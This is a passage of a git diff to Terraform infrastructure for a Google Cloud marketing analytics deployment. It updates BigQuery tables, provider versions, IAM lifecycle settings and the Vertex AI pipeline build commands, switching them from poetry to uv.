google_bigquery_dataset.feature_store.dataset_id. resource "google_bigquery_table" "user_scoped_metrics" { - project = google_bigquery_dataset.feature_store.project - dataset_id = google_bigquery_dataset.feature_store.dataset_id - table_id = local.config_bigquery.table.user_scoped_metrics.table_name - description = local.config_bigquery.table.user_scoped_metrics.table_description + project = google_bigquery_dataset.feature_store.project + dataset_id = google_bigquery_dataset.feature_store.dataset_id + table_id = local.config_bigquery.table.user_scoped_metrics.table_name + description = local.config_bigquery.table.user_scoped_metrics.table_description # The deletion_protection attribute specifies whether the table should be protected from deletion. In this case, it's set to false, which means that the table can be deleted. deletion_protection = false @@ -340,10 +408,10 @@ resource "google_bigquery_table" "user_scoped_metrics" { # This resource creates a BigQuery table named user_scoped_segmentation_metrics # in the dataset specified by google_bigquery_dataset.feature_store.dataset_id. resource "google_bigquery_table" "user_scoped_segmentation_metrics" { - project = google_bigquery_dataset.feature_store.project - dataset_id = google_bigquery_dataset.feature_store.dataset_id - table_id = local.config_bigquery.table.user_scoped_segmentation_metrics.table_name - description = local.config_bigquery.table.user_scoped_segmentation_metrics.table_description + project = google_bigquery_dataset.feature_store.project + dataset_id = google_bigquery_dataset.feature_store.dataset_id + table_id = local.config_bigquery.table.user_scoped_segmentation_metrics.table_name + description = local.config_bigquery.table.user_scoped_segmentation_metrics.table_description # The deletion_protection attribute specifies whether the table should be protected from deletion. In this case, it's set to false, which means that the table can be deleted. deletion_protection = false @@ -365,10 +433,10 @@ resource "google_bigquery_table" "user_scoped_segmentation_metrics" { # This resource creates a BigQuery table named user_segmentation_dimensions # in the dataset specified by google_bigquery_dataset.feature_store.dataset_id. resource "google_bigquery_table" "user_segmentation_dimensions" { - project = google_bigquery_dataset.feature_store.project - dataset_id = google_bigquery_dataset.feature_store.dataset_id - table_id = local.config_bigquery.table.user_segmentation_dimensions.table_name - description = local.config_bigquery.table.user_segmentation_dimensions.table_description + project = google_bigquery_dataset.feature_store.project + dataset_id = google_bigquery_dataset.feature_store.dataset_id + table_id = local.config_bigquery.table.user_segmentation_dimensions.table_name + description = local.config_bigquery.table.user_segmentation_dimensions.table_description # The deletion_protection attribute specifies whether the table should be protected from deletion. In this case, it's set to false, which means that the table can be deleted. deletion_protection = false @@ -390,10 +458,10 @@ resource "google_bigquery_table" "user_segmentation_dimensions" { # This resource creates a BigQuery table named user_session_event_aggregated_metrics # in the dataset specified by google_bigquery_dataset.feature_store.dataset_id. resource "google_bigquery_table" "user_session_event_aggregated_metrics" { - project = google_bigquery_dataset.feature_store.project - dataset_id = google_bigquery_dataset.feature_store.dataset_id - table_id = local.config_bigquery.table.user_session_event_aggregated_metrics.table_name - description = local.config_bigquery.table.user_session_event_aggregated_metrics.table_description + project = google_bigquery_dataset.feature_store.project + dataset_id = google_bigquery_dataset.feature_store.dataset_id + table_id = local.config_bigquery.table.user_session_event_aggregated_metrics.table_name + description = local.config_bigquery.table.user_session_event_aggregated_metrics.table_description # The deletion_protection attribute specifies whether the table should be protected from deletion. In this case, it's set to false, which means that the table can be deleted. deletion_protection = false @@ -412,4 +480,27 @@ resource "google_bigquery_table" "user_session_event_aggregated_metrics" { } } +# This resource creates a BigQuery table named predictions_placeholder +# in the dataset specified by google_bigquery_dataset.purchase_propensity +resource "google_bigquery_table" "purchase_propurchase_propensity_predictions_placeholder" { + project = google_bigquery_dataset.purchase_propensity.project + dataset_id = google_bigquery_dataset.purchase_propensity.dataset_id + table_id = "predictions_placeholder" + description = "Dummy table to facilitate the creation of down stream dependent views" + + # The deletion_protection attribute specifies whether the table should be protected from deletion. In this case, it's set to false, which means that the table can be deleted. + deletion_protection = false + labels = { + version = "prod" + } + + # The schema attribute specifies the schema of the table. In this case, the schema is defined in the JSON file. + schema = file("${local.sql_dir}/schema/table/purchase_propensity_predictions_placeholder.json") + + # The lifecycle block is used to configure the lifecycle of the table. In this case, the ignore_changes attribute is set to all, which means that Terraform will ignore + # any changes to the table and will not attempt to update the table. + lifecycle { + ignore_changes = all + } +} diff --git a/infrastructure/terraform/modules/feature-store/main.tf b/infrastructure/terraform/modules/feature-store/main.tf index a17662bb..318639c6 100644 --- a/infrastructure/terraform/modules/feature-store/main.tf +++ b/infrastructure/terraform/modules/feature-store/main.tf @@ -17,128 +17,20 @@ data "local_file" "config_vars" { } locals { + source_root_dir = "../../.." config_vars = yamldecode(data.local_file.config_vars.content) config_bigquery = local.config_vars.bigquery feature_store_project_id = local.config_vars.bigquery.dataset.feature_store.project_id sql_dir = var.sql_dir_input - poetry_run_alias = "${var.poetry_cmd} run" builder_repository_id = "marketing-analytics-jumpstart-base-repo" - purchase_propensity_project_id = null_resource.check_bigquery_api.id != "" ? local.config_vars.bigquery.dataset.purchase_propensity.project_id : local.feature_store_project_id - churn_propensity_project_id = null_resource.check_bigquery_api.id != "" ? local.config_vars.bigquery.dataset.churn_propensity.project_id : local.feature_store_project_id - audience_segmentation_project_id = null_resource.check_bigquery_api.id != "" ? local.config_vars.bigquery.dataset.audience_segmentation.project_id : local.feature_store_project_id - auto_audience_segmentation_project_id = null_resource.check_bigquery_api.id != "" ? local.config_vars.bigquery.dataset.auto_audience_segmentation.project_id : local.feature_store_project_id - aggregated_vbb_project_id = null_resource.check_bigquery_api.id != "" ? local.config_vars.bigquery.dataset.aggregated_vbb.project_id : local.feature_store_project_id - customer_lifetime_value_project_id = null_resource.check_bigquery_api.id != "" ? local.config_vars.bigquery.dataset.customer_lifetime_value.project_id : local.feature_store_project_id - aggregate_predictions_project_id = null_resource.check_bigquery_api.id != "" ? local.config_vars.bigquery.dataset.aggregated_predictions.project_id : local.feature_store_project_id - gemini_insights_project_id = null_resource.check_bigquery_api.id != "" ? local.config_vars.bigquery.dataset.gemini_insights.project_id : local.feature_store_project_id -} - -module "project_services" { - source = "terraform-google-modules/project-factory/google//modules/project_services" - version = "14.1.0" - - disable_dependent_services = true - disable_services_on_destroy = false - - project_id = local.feature_store_project_id - - activate_apis = [ - "artifactregistry.googleapis.com", - "cloudbuild.googleapis.com", - "aiplatform.googleapis.com", - "logging.googleapis.com", - "monitoring.googleapis.com", - "bigquery.googleapis.com", - "bigquerystorage.googleapis.com", - "storage.googleapis.com", - "storage-api.googleapis.com", - ] -} - -# This resource executes gcloud commands to check whether the BigQuery API is enabled. -# Since enabling APIs can take a few seconds, we need to make the deployment wait until the API is enabled before resuming. -resource "null_resource" "check_bigquery_api" { - provisioner "local-exec" { - command = <<-EOT - COUNTER=0 - MAX_TRIES=100 - while ! gcloud services list --project=${module.project_services.project_id} | grep -i "bigquery.googleapis.com" && [ $COUNTER -lt $MAX_TRIES ] - do - sleep 6 - printf "." - COUNTER=$((COUNTER + 1)) - done - if [ $COUNTER -eq $MAX_TRIES ]; then - echo "bigquery api is not enabled, terraform can not continue!" - exit 1 - fi - sleep 20 - EOT - } - - depends_on = [ - module.project_services - ] -} - - -# This resource executes gcloud commands to check whether the aiplatform API is enabled. -# Since enabling APIs can take a few seconds, we need to make the deployment wait until the API is enabled before resuming. -resource "null_resource" "check_aiplatform_api" { - provisioner "local-exec" { - command = <<-EOT - COUNTER=0 - MAX_TRIES=100 - while ! gcloud services list --project=${module.project_services.project_id} | grep -i "aiplatform.googleapis.com" && [ $COUNTER -lt $MAX_TRIES ] - do - sleep 6 - printf "." - COUNTER=$((COUNTER + 1)) - done - if [ $COUNTER -eq $MAX_TRIES ]; then - echo "aiplatform api is not enabled, terraform can not continue!" - exit 1 - fi - sleep 20 - EOT - } - - depends_on = [ - module.project_services - ] -} - - -## This creates a cloud resource connection. -## Note: The cloud resource nested object has only one output only field - serviceAccountId. -resource "google_bigquery_connection" "vertex_ai_connection" { - connection_id = "vertex_ai" - project = null_resource.check_aiplatform_api.id != "" ? module.project_services.project_id : local.feature_store_project_id - location = local.config_bigquery.region - cloud_resource {} -} - - -# This resource binds the service account to the required roles -resource "google_project_iam_member" "vertex_ai_connection_sa_roles" { - depends_on = [ - module.project_services, - null_resource.check_aiplatform_api, - google_bigquery_connection.vertex_ai_connection - ] - - project = null_resource.check_aiplatform_api.id != "" ? module.project_services.project_id : local.feature_store_project_id - member = "serviceAccount:${google_bigquery_connection.vertex_ai_connection.cloud_resource[0].service_account_id}" - - for_each = toset([ - "roles/bigquery.jobUser", - "roles/bigquery.dataEditor", - "roles/storage.admin", - "roles/storage.objectViewer", - "roles/aiplatform.user", - "roles/bigquery.connectionUser", - "roles/bigquery.connectionAdmin" - ]) - role = each.key + purchase_propensity_project_id = local.config_vars.bigquery.dataset.purchase_propensity.project_id + churn_propensity_project_id = local.config_vars.bigquery.dataset.churn_propensity.project_id + lead_score_propensity_project_id = local.config_vars.bigquery.dataset.lead_score_propensity.project_id + audience_segmentation_project_id = local.config_vars.bigquery.dataset.audience_segmentation.project_id + auto_audience_segmentation_project_id = local.config_vars.bigquery.dataset.auto_audience_segmentation.project_id + aggregated_vbb_project_id = local.config_vars.bigquery.dataset.aggregated_vbb.project_id + customer_lifetime_value_project_id = local.config_vars.bigquery.dataset.customer_lifetime_value.project_id + aggregate_predictions_project_id = local.config_vars.bigquery.dataset.aggregated_predictions.project_id + gemini_insights_project_id = local.config_vars.bigquery.dataset.gemini_insights.project_id } diff --git a/infrastructure/terraform/modules/feature-store/outputs.tf b/infrastructure/terraform/modules/feature-store/outputs.tf new file mode 100644 index 00000000..2e9d4535 --- /dev/null +++ b/infrastructure/terraform/modules/feature-store/outputs.tf @@ -0,0 +1,18 @@ +# Copyright 2023 Google LLC +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +output "purchase_propensity_dataset_id" { + description = "Purchase Propensity use case dataset" + value = google_bigquery_dataset.purchase_propensity.dataset_id +} \ No newline at end of file diff --git a/infrastructure/terraform/modules/feature-store/variables.tf b/infrastructure/terraform/modules/feature-store/variables.tf index d20b92b7..a9bc07a5 100644 --- a/infrastructure/terraform/modules/feature-store/variables.tf +++ b/infrastructure/terraform/modules/feature-store/variables.tf @@ -37,8 +37,8 @@ variable "sql_dir_input" { description = "SQL queries directory" } -variable "poetry_cmd" { - description = "alias for poetry command on the current system" +variable "uv_run_alias" { + description = "alias for uv run command on the current system" type = string - default = "poetry" + default = "uv run" } diff --git a/infrastructure/terraform/modules/feature-store/versions.tf b/infrastructure/terraform/modules/feature-store/versions.tf index 5a896e28..2e275387 100644 --- a/infrastructure/terraform/modules/feature-store/versions.tf +++ b/infrastructure/terraform/modules/feature-store/versions.tf @@ -20,7 +20,12 @@ terraform { required_providers { google = { source = "hashicorp/google" - version = ">= 3.43.0, >= 3.53.0, >= 3.63.0, >= 4.83.0, < 5.0.0, < 6.0.0" + version = "5.45.0" + } + + google-beta = { + source = "hashicorp/google-beta" + version = "5.45.0" } } diff --git a/infrastructure/terraform/modules/monitor/main.tf b/infrastructure/terraform/modules/monitor/main.tf index 21252202..75ceef35 100644 --- a/infrastructure/terraform/modules/monitor/main.tf +++ b/infrastructure/terraform/modules/monitor/main.tf @@ -32,7 +32,7 @@ locals { module "project_services" { source = "terraform-google-modules/project-factory/google//modules/project_services" - version = "14.1.0" + version = "18.0.0" disable_dependent_services = false disable_services_on_destroy = false @@ -72,7 +72,7 @@ resource "null_resource" "check_bigquery_api" { module "dashboard_bigquery" { source = "terraform-google-modules/bigquery/google" - version = "~> 5.4" + version = "9.0.0" dataset_id = local.dashboard_dataset_name dataset_name = local.dashboard_dataset_name @@ -95,7 +95,7 @@ module "dashboard_bigquery" { module "load_bucket" { source = "terraform-google-modules/cloud-storage/google//modules/simple_bucket" - version = "~> 3.4.1" + version = "9.0.1" project_id = module.project_services.project_id name = "maj-monitor-${module.project_services.project_id}" location = var.location @@ -163,7 +163,7 @@ locals { module "log_export_bigquery" { source = "terraform-google-modules/bigquery/google" - version = "~> 5.4" + version = "9.0.0" dataset_id = local.log_dataset_name dataset_name = local.log_dataset_name @@ -250,12 +250,36 @@ data "template_file" "looker_studio_dashboard_url" { mds_ga4_product_dataset = "marketing_ga4_v1_${var.mds_dataset_suffix}" mds_ga4_base_dataset = "marketing_ga4_base_${var.mds_dataset_suffix}" mds_ads_product_dataset = "marketing_ads_v1_${var.mds_dataset_suffix}" + mds_ads_base_dataset = "marketing_ads_base_${var.mds_dataset_suffix}" logs_dataset = module.log_export_bigquery.bigquery_dataset.dataset_id aggregated_vbb_dataset = "aggregated_vbb" aggregated_predictions_dataset = "aggregated_predictions" gemini_insights_dataset = "gemini_insights" + purchase_propensity_dataset = var.purchase_propensity_dataset_id dataform_log_table_id = local.dataform_log_table_id vertex_pipelines_log_table_id = local.vertex_pipelines_log_table_id dataflow_log_table_id = local.dataflow_log_table_id } } + +data "template_file" "purchase_propensity_prediction_stats_query" { + template = file("${local.source_root_dir}/templates/purchase_propensity_smart_bidding_view.sql.tpl") + vars = { + project_id = var.feature_store_project_id + purchase_propensity_dataset = var.purchase_propensity_dataset_id + activation_dataset = "activation" + smart_bidding_configuration_table = var.smart_bidding_configuration_table + } +} + +resource "google_bigquery_table" "purchase_propensity_prediction_stats" { + project = var.feature_store_project_id + dataset_id = var.purchase_propensity_dataset_id + table_id = "purchase_propensity_prediction_stats" + deletion_protection = false + + view { + query = data.template_file.purchase_propensity_prediction_stats_query.rendered + use_legacy_sql = false + } +} diff --git a/infrastructure/terraform/modules/monitor/variables.tf b/infrastructure/terraform/modules/monitor/variables.tf index a6323d88..83b59880 100644 --- a/infrastructure/terraform/modules/monitor/variables.tf +++ b/infrastructure/terraform/modules/monitor/variables.tf @@ -52,3 +52,12 @@ variable "activation_project_id" { type = string } +variable "purchase_propensity_dataset_id" { + description = "Purchase Propensity use case dataset" + type = string +} + +variable "smart_bidding_configuration_table" { + description = "smart bidding configuration table name" + type = string +} diff --git a/infrastructure/terraform/modules/monitor/versions.tf b/infrastructure/terraform/modules/monitor/versions.tf index 5a896e28..2e275387 100644 --- a/infrastructure/terraform/modules/monitor/versions.tf +++ b/infrastructure/terraform/modules/monitor/versions.tf @@ -20,7 +20,12 @@ terraform { required_providers { google = { source = "hashicorp/google" - version = ">= 3.43.0, >= 3.53.0, >= 3.63.0, >= 4.83.0, < 5.0.0, < 6.0.0" + version = "5.45.0" + } + + google-beta = { + source = "hashicorp/google-beta" + version = "5.45.0" } } diff --git a/infrastructure/terraform/modules/pipelines/main.tf b/infrastructure/terraform/modules/pipelines/main.tf index 05d4969b..5c5db7d3 100644 --- a/infrastructure/terraform/modules/pipelines/main.tf +++ b/infrastructure/terraform/modules/pipelines/main.tf @@ -35,9 +35,9 @@ locals { module "project_services" { source = "terraform-google-modules/project-factory/google//modules/project_services" - version = "14.1.0" + version = "18.0.0" - disable_dependent_services = true + disable_dependent_services = false disable_services_on_destroy = false project_id = local.pipeline_vars.project_id @@ -52,7 +52,9 @@ module "project_services" { "artifactregistry.googleapis.com", "aiplatform.googleapis.com", "dataflow.googleapis.com", - "bigqueryconnection.googleapis.com" + "bigqueryconnection.googleapis.com", + "servicenetworking.googleapis.com", + "compute.googleapis.com" ] } @@ -159,4 +161,30 @@ resource "null_resource" "check_artifactregistry_api" { depends_on = [ module.project_services ] -} \ No newline at end of file +} + +# This resource executes gcloud commands to check whether the Service Networking API is enabled. +# Since enabling APIs can take a few seconds, we need to make the deployment wait until the API is enabled before resuming. +resource "null_resource" "check_servicenetworking_api" { + provisioner "local-exec" { + command = <<-EOT + COUNTER=0 + MAX_TRIES=100 + while ! gcloud services list --project=${module.project_services.project_id} | grep -i "servicenetworking.googleapis.com" && [ $COUNTER -lt $MAX_TRIES ] + do + sleep 6 + printf "." + COUNTER=$((COUNTER + 1)) + done + if [ $COUNTER -eq $MAX_TRIES ]; then + echo "service networking api is not enabled, terraform can not continue!" + exit 1 + fi + sleep 20 + EOT + } + + depends_on = [ + module.project_services + ] +} diff --git a/infrastructure/terraform/modules/pipelines/pipelines.tf b/infrastructure/terraform/modules/pipelines/pipelines.tf index 1c36ef62..0074a536 100644 --- a/infrastructure/terraform/modules/pipelines/pipelines.tf +++ b/infrastructure/terraform/modules/pipelines/pipelines.tf @@ -18,6 +18,14 @@ resource "google_service_account" "service_account" { account_id = local.pipeline_vars.service_account_id display_name = local.pipeline_vars.service_account_id description = "Service Account to run Vertex AI Pipelines" + + # The lifecycle block is used to configure the lifecycle of the table. In this case, the ignore_changes attribute is set to all, which means that Terraform will ignore + # any changes to the table and will not attempt to update the table. The prevent_destroy attribute is set to true, which means that Terraform will prevent the table from being destroyed. + lifecycle { + ignore_changes = all + #prevent_destroy = true + create_before_destroy = true + } } # Wait for the pipelines service account to be created @@ -53,8 +61,8 @@ resource "google_project_iam_member" "pipelines_sa_roles" { module.project_services, null_resource.check_aiplatform_api, null_resource.wait_for_vertex_pipelines_sa_creation - ] - + ] + project = null_resource.check_aiplatform_api.id != "" ? module.project_services.project_id : local.pipeline_vars.project_id member = "serviceAccount:${google_service_account.service_account.email}" @@ -68,9 +76,18 @@ resource "google_project_iam_member" "pipelines_sa_roles" { "roles/artifactregistry.reader", "roles/pubsub.publisher", "roles/dataflow.developer", - "roles/bigquery.connectionUser" + "roles/bigquery.connectionUser", + "roles/compute.networkUser" ]) role = each.key + + # The lifecycle block is used to configure the lifecycle of the table. In this case, the ignore_changes attribute is set to all, which means that Terraform will ignore + # any changes to the table and will not attempt to update the table. The prevent_destroy attribute is set to true, which means that Terraform will prevent the table from being destroyed. + lifecycle { + ignore_changes = all + #prevent_destroy = true + create_before_destroy = true + } } # This resource binds the service account to the required roles in the mds project @@ -79,8 +96,8 @@ resource "google_project_iam_member" "pipelines_sa_mds_project_roles" { module.project_services, null_resource.check_aiplatform_api, null_resource.wait_for_vertex_pipelines_sa_creation - ] - + ] + project = null_resource.check_bigquery_api.id != "" ? module.project_services.project_id : local.pipeline_vars.project_id member = "serviceAccount:${google_service_account.service_account.email}" @@ -88,6 +105,14 @@ resource "google_project_iam_member" "pipelines_sa_mds_project_roles" { "roles/bigquery.dataViewer" ]) role = each.key + + # The lifecycle block is used to configure the lifecycle of the table. In this case, the ignore_changes attribute is set to all, which means that Terraform will ignore + # any changes to the table and will not attempt to update the table. The prevent_destroy attribute is set to true, which means that Terraform will prevent the table from being destroyed. + lifecycle { + ignore_changes = all + #prevent_destroy = true + create_before_destroy = true + } } # This resource creates a service account to run the dataflow jobs @@ -96,6 +121,14 @@ resource "google_service_account" "dataflow_worker_service_account" { account_id = local.dataflow_vars.worker_service_account_id display_name = local.dataflow_vars.worker_service_account_id description = "Service Account to run Dataflow jobs" + + # The lifecycle block is used to configure the lifecycle of the table. In this case, the ignore_changes attribute is set to all, which means that Terraform will ignore + # any changes to the table and will not attempt to update the table. The prevent_destroy attribute is set to true, which means that Terraform will prevent the table from being destroyed. + lifecycle { + ignore_changes = all + #prevent_destroy = true + create_before_destroy = true + } } # Wait for the dataflow worker service account to be created @@ -130,8 +163,8 @@ resource "google_project_iam_member" "dataflow_worker_sa_roles" { module.project_services, null_resource.check_dataflow_api, null_resource.wait_for_dataflow_worker_sa_creation - ] - + ] + project = null_resource.check_dataflow_api.id != "" ? module.project_services.project_id : local.pipeline_vars.project_id member = "serviceAccount:${google_service_account.dataflow_worker_service_account.email}" @@ -142,6 +175,14 @@ resource "google_project_iam_member" "dataflow_worker_sa_roles" { "roles/storage.objectAdmin", ]) role = each.key + + # The lifecycle block is used to configure the lifecycle of the table. In this case, the ignore_changes attribute is set to all, which means that Terraform will ignore + # any changes to the table and will not attempt to update the table. The prevent_destroy attribute is set to true, which means that Terraform will prevent the table from being destroyed. + lifecycle { + ignore_changes = all + #prevent_destroy = true + create_before_destroy = true + } } # This resource binds the service account to the required roles @@ -151,11 +192,19 @@ resource "google_service_account_iam_member" "dataflow_sa_iam" { module.project_services, null_resource.check_dataflow_api, null_resource.wait_for_dataflow_worker_sa_creation - ] - + ] + service_account_id = "projects/${module.project_services.project_id}/serviceAccounts/${google_service_account.dataflow_worker_service_account.email}" role = "roles/iam.serviceAccountUser" member = "serviceAccount:${google_service_account.service_account.email}" + + # The lifecycle block is used to configure the lifecycle of the table. In this case, the ignore_changes attribute is set to all, which means that Terraform will ignore + # any changes to the table and will not attempt to update the table. The prevent_destroy attribute is set to true, which means that Terraform will prevent the table from being destroyed. + lifecycle { + ignore_changes = all + #prevent_destroy = true + create_before_destroy = true + } } # This resource creates a Cloud Storage Bucket for the pipeline artifacts @@ -167,14 +216,14 @@ resource "google_storage_bucket" "pipelines_bucket" { uniform_bucket_level_access = true # The force_destroy attribute specifies whether the bucket should be forcibly destroyed # even if it contains objects. In this case, it's set to false, which means that the bucket will not be destroyed if it contains objects. - force_destroy = false + force_destroy = false - # The lifecycle block allows you to configure the lifecycle of the bucket. - # In this case, the ignore_changes attribute is set to all, which means that Terraform - # will ignore any changes to the bucket's lifecycle configuration. The prevent_destroy attribute is set to false, which means that the bucket can be destroyed. + # The lifecycle block is used to configure the lifecycle of the table. In this case, the ignore_changes attribute is set to all, which means that Terraform will ignore + # any changes to the table and will not attempt to update the table. The prevent_destroy attribute is set to true, which means that Terraform will prevent the table from being destroyed. lifecycle { ignore_changes = all - prevent_destroy = false ##true + #prevent_destroy = true + create_before_destroy = true } } @@ -187,14 +236,14 @@ resource "google_storage_bucket" "custom_model_bucket" { uniform_bucket_level_access = true # The force_destroy attribute specifies whether the bucket should be forcibly destroyed # even if it contains objects. In this case, it's set to false, which means that the bucket will not be destroyed if it contains objects. - force_destroy = false + force_destroy = false - # The lifecycle block allows you to configure the lifecycle of the bucket. - # In this case, the ignore_changes attribute is set to all, which means that Terraform - # will ignore any changes to the bucket's lifecycle configuration. The prevent_destroy attribute is set to false, which means that the bucket can be destroyed. + # The lifecycle block is used to configure the lifecycle of the table. In this case, the ignore_changes attribute is set to all, which means that Terraform will ignore + # any changes to the table and will not attempt to update the table. The prevent_destroy attribute is set to true, which means that Terraform will prevent the table from being destroyed. lifecycle { ignore_changes = all - prevent_destroy = false ##true + #prevent_destroy = true + create_before_destroy = true } } @@ -246,7 +295,7 @@ resource "google_artifact_registry_repository" "pipelines-repo" { repository_id = local.artifact_registry_vars.pipelines_repo.name description = "Pipelines Repository" # The format is kubeflow pipelines YAML files. - format = "KFP" + format = "KFP" # The lifecycle block of the google_artifact_registry_repository resource defines a precondition that # checks if the specified region is included in the vertex_pipelines_available_locations list. @@ -266,7 +315,7 @@ resource "google_artifact_registry_repository" "pipelines_docker_repo" { repository_id = local.artifact_registry_vars.pipelines_docker_repo.name description = "Docker Images Repository" # The format is Docker images. - format = "DOCKER" + format = "DOCKER" } locals { @@ -308,13 +357,12 @@ resource "null_resource" "build_push_pipelines_components_image" { docker_repo_id = google_artifact_registry_repository.pipelines_docker_repo.id docker_repo_create_time = google_artifact_registry_repository.pipelines_docker_repo.create_time source_content_hash = local.component_image_content_hash - poetry_installed = var.poetry_installed } # The provisioner block specifies the command that will be executed to build and push the base component image. # This command will execute the build-push function in the base_component_image module, which will build and push the base component image to the specified Docker repository. provisioner "local-exec" { - command = "${var.poetry_run_alias} python -m base_component_image.build-push -c ${local.config_file_path_relative_python_run_dir}" + command = "${var.uv_run_alias} python -m base_component_image.build-push -c ${local.config_file_path_relative_python_run_dir}" working_dir = self.triggers.working_dir } } @@ -350,6 +398,31 @@ resource "null_resource" "check_pipeline_docker_image_pushed" { ## Feature Engineering Pipelines ####### +# This resource is used to compile and upload the Vertex AI pipeline for feature engineering - lead score propensity use case +resource "null_resource" "compile_feature_engineering_lead_score_propensity_pipeline" { + triggers = { + working_dir = "${local.source_root_dir}/python" + tag = local.compile_pipelines_tag + pipelines_repo_id = google_artifact_registry_repository.pipelines-repo.id + pipelines_repo_create_time = google_artifact_registry_repository.pipelines-repo.create_time + source_content_hash = local.pipelines_content_hash + upstream_resource_dependency = null_resource.check_pipeline_docker_image_pushed.id + } + + # The provisioner block specifies the command that will be executed to compile and upload the pipeline. + # This command will execute the compiler function in the pipelines module, which will compile the pipeline YAML file, and the uploader function, + # which will upload the pipeline YAML file to the specified Artifact Registry repository. The scheduler function will then schedule the pipeline to run on a regular basis. + provisioner "local-exec" { + command = <<-EOT + ${var.uv_run_alias} python -m pipelines.compiler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.feature-creation-lead-score-propensity.execution -o fe_lead_score_propensity.yaml + ${var.uv_run_alias} python -m pipelines.uploader -c ${local.config_file_path_relative_python_run_dir} -f fe_lead_score_propensity.yaml -t ${self.triggers.tag} -t latest + ${var.uv_run_alias} python -m pipelines.scheduler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.feature-creation-lead-score-propensity.execution -i fe_lead_score_propensity.yaml + EOT + working_dir = self.triggers.working_dir + } +} + + # This resource is used to compile and upload the Vertex AI pipeline for feature engineering - auto audience segmentation use case resource "null_resource" "compile_feature_engineering_auto_audience_segmentation_pipeline" { triggers = { @@ -358,7 +431,7 @@ resource "null_resource" "compile_feature_engineering_auto_audience_segmentation pipelines_repo_id = google_artifact_registry_repository.pipelines-repo.id pipelines_repo_create_time = google_artifact_registry_repository.pipelines-repo.create_time source_content_hash = local.pipelines_content_hash - upstream_resource_dependency = null_resource.build_push_pipelines_components_image.id + upstream_resource_dependency = null_resource.compile_feature_engineering_lead_score_propensity_pipeline.id } # The provisioner block specifies the command that will be executed to compile and upload the pipeline. @@ -366,9 +439,9 @@ resource "null_resource" "compile_feature_engineering_auto_audience_segmentation # which will upload the pipeline YAML file to the specified Artifact Registry repository. The scheduler function will then schedule the pipeline to run on a regular basis. provisioner "local-exec" { command = <<-EOT - ${var.poetry_run_alias} python -m pipelines.compiler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.feature-creation-auto-audience-segmentation.execution -o fe_auto_audience_segmentation.yaml - ${var.poetry_run_alias} python -m pipelines.uploader -c ${local.config_file_path_relative_python_run_dir} -f fe_auto_audience_segmentation.yaml -t ${self.triggers.tag} -t latest - ${var.poetry_run_alias} python -m pipelines.scheduler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.feature-creation-auto-audience-segmentation.execution -i fe_auto_audience_segmentation.yaml + ${var.uv_run_alias} python -m pipelines.compiler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.feature-creation-auto-audience-segmentation.execution -o fe_auto_audience_segmentation.yaml + ${var.uv_run_alias} python -m pipelines.uploader -c ${local.config_file_path_relative_python_run_dir} -f fe_auto_audience_segmentation.yaml -t ${self.triggers.tag} -t latest + ${var.uv_run_alias} python -m pipelines.scheduler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.feature-creation-auto-audience-segmentation.execution -i fe_auto_audience_segmentation.yaml EOT working_dir = self.triggers.working_dir } @@ -390,9 +463,9 @@ resource "null_resource" "compile_feature_engineering_aggregated_value_based_bid # which will upload the pipeline YAML file to the specified Artifact Registry repository. The scheduler function will then schedule the pipeline to run on a regular basis. provisioner "local-exec" { command = <<-EOT - ${var.poetry_run_alias} python -m pipelines.compiler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.feature-creation-aggregated-value-based-bidding.execution -o fe_agg_vbb.yaml - ${var.poetry_run_alias} python -m pipelines.uploader -c ${local.config_file_path_relative_python_run_dir} -f fe_agg_vbb.yaml -t ${self.triggers.tag} -t latest - ${var.poetry_run_alias} python -m pipelines.scheduler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.feature-creation-aggregated-value-based-bidding.execution -i fe_agg_vbb.yaml + ${var.uv_run_alias} python -m pipelines.compiler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.feature-creation-aggregated-value-based-bidding.execution -o fe_agg_vbb.yaml + ${var.uv_run_alias} python -m pipelines.uploader -c ${local.config_file_path_relative_python_run_dir} -f fe_agg_vbb.yaml -t ${self.triggers.tag} -t latest + ${var.uv_run_alias} python -m pipelines.scheduler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.feature-creation-aggregated-value-based-bidding.execution -i fe_agg_vbb.yaml EOT working_dir = self.triggers.working_dir } @@ -414,9 +487,9 @@ resource "null_resource" "compile_feature_engineering_audience_segmentation_pipe # which will upload the pipeline YAML file to the specified Artifact Registry repository. The scheduler function will then schedule the pipeline to run on a regular basis. provisioner "local-exec" { command = <<-EOT - ${var.poetry_run_alias} python -m pipelines.compiler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.feature-creation-audience-segmentation.execution -o fe_audience_segmentation.yaml - ${var.poetry_run_alias} python -m pipelines.uploader -c ${local.config_file_path_relative_python_run_dir} -f fe_audience_segmentation.yaml -t ${self.triggers.tag} -t latest - ${var.poetry_run_alias} python -m pipelines.scheduler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.feature-creation-audience-segmentation.execution -i fe_audience_segmentation.yaml + ${var.uv_run_alias} python -m pipelines.compiler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.feature-creation-audience-segmentation.execution -o fe_audience_segmentation.yaml + ${var.uv_run_alias} python -m pipelines.uploader -c ${local.config_file_path_relative_python_run_dir} -f fe_audience_segmentation.yaml -t ${self.triggers.tag} -t latest + ${var.uv_run_alias} python -m pipelines.scheduler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.feature-creation-audience-segmentation.execution -i fe_audience_segmentation.yaml EOT working_dir = self.triggers.working_dir } @@ -438,9 +511,9 @@ resource "null_resource" "compile_feature_engineering_purchase_propensity_pipeli # which will upload the pipeline YAML file to the specified Artifact Registry repository. The scheduler function 